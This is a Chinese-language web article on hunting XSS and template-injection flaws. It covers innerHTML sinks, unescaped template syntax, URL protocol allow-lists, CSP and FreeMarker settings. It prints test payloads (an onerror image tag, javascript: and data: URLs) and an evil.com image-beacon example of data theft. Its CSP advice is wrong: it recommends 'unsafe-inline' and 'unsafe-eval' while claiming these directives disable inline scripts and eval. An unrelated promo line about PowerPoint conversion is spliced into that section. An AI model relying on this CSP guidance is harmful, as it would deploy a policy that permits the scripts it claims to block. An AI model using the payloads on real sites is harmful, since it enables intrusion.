HTML漏洞排查需追踪用户输入流和动态渲染链,聚焦innerHTML赋值、模板未转义插值、富文本输出等高危点,结合CSP与协议白名单防御XSS。

HTML 页面漏洞排查不能靠“扫标签”,得顺着用户输入流和动态渲染链追——哪段 HTML 是拼出来的、谁控制了它、浏览器怎么解释它,这三步没理清,查半天也漏关键点。
怎么快速定位 XSS 风险点
别从 <script> 标签开始找,先盯住所有「用户输入最终变成 HTML 字符串」的地方。常见高危位置包括:innerHTML 赋值、document.write()、服务端模板中未转义的插值(如 EJS 的 <%= data %>、FreeMarker 的 ${data})、富文本编辑器输出、URL 参数反射到页面内容(如 ?q=xxx 显示在搜索结果页)。
- 测试时直接往输入框或 URL 里塞
<img src=x onerror=alert(1)>,看是否触发弹窗或 DOM 中出现未转义标签 - 用浏览器开发者工具的 Elements 面板检查目标节点,确认是纯文本节点(
textContent)还是已解析为元素(innerHTML) - 注意绕过:有些站点过滤
<script>却放行onerror、javascript:、data:等,这些一样能执行代码
src/href 属性里的 URL 为什么不能直接拼接
因为浏览器对 src 和 href 的解析是协议敏感的。用户输入若含 javascript:alert(1) 或 data:text/html,<script>...,浏览器会照单执行,不是当普通字符串处理。
- 图片、链接、iframe 的
src值必须做协议白名单校验:只允许http:、https:、相对路径,严禁javascript:、data:、vbscript: - 前端 JS 动态赋值前,用正则或 URL 构造函数验证:
new URL(input).protocol是否在允许列表中 - 更稳妥的做法是服务端不返回完整 URL,而是返回资源 ID,前端再拼成 CDN 固定域名下的路径,彻底隔离可控变量
为什么 CSP 不是可选配置而是必开项
CSP 是最后一道防线:即使某处漏了转义、某条 innerHTML 没走 DOMPurify.sanitize(),只要 CSP 规则够严,恶意脚本就无法加载或执行。
使用 PptxGenJS 和 Python 解析,将结构化的 HTML/CSS 幻灯片内容转换为原生、可编辑的 PowerPoint(.pptx)演示文稿。
立即学习“前端免费学习笔记(深入)”;
- 至少设置
default-src 'self'和script-src 'self' 'unsafe-inline' 'unsafe-eval'—— 先禁掉内联和 eval,再按需放开可信 CDN - 务必加
img-src白名单,防止攻击者用<img src="https://evil.com/track?c=xxx">偷数据 - 启用
report-uri或report-to,把违规行为发到监控端点,否则你根本不知道哪天被绕过了
模板引擎里最常被忽略的危险操作
不是所有模板都默认安全。FreeMarker 的 ?eval、art-template 的 {{= data}}、Handlebars 的 {{{data}}} 这些“不转义”语法,一旦参数来自用户输入,等于直接开后门。
- 审查模板调用链:确认
template.compile()或new Template()的第一个参数是不是硬编码字符串,而不是拼接了用户输入的变量 - 禁止在任何用户可控上下文中使用
include、import指令,路径变量若含../或用户昵称,可能读取服务器任意文件 - FreeMarker 必须设
setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER),否则?api等内置函数可能暴露类加载器
真正难防的从来不是 <script> 标签,而是那些看起来只是“显示一段文字”的地方——比如评论区一条带表情的留言、搜索页回显的关键词、头像 src 的 URL 参数。它们被拼进 HTML 的那一刻,就进入了浏览器的解析上下文,而浏览器不会替你判断“这该是文本还是代码”。


















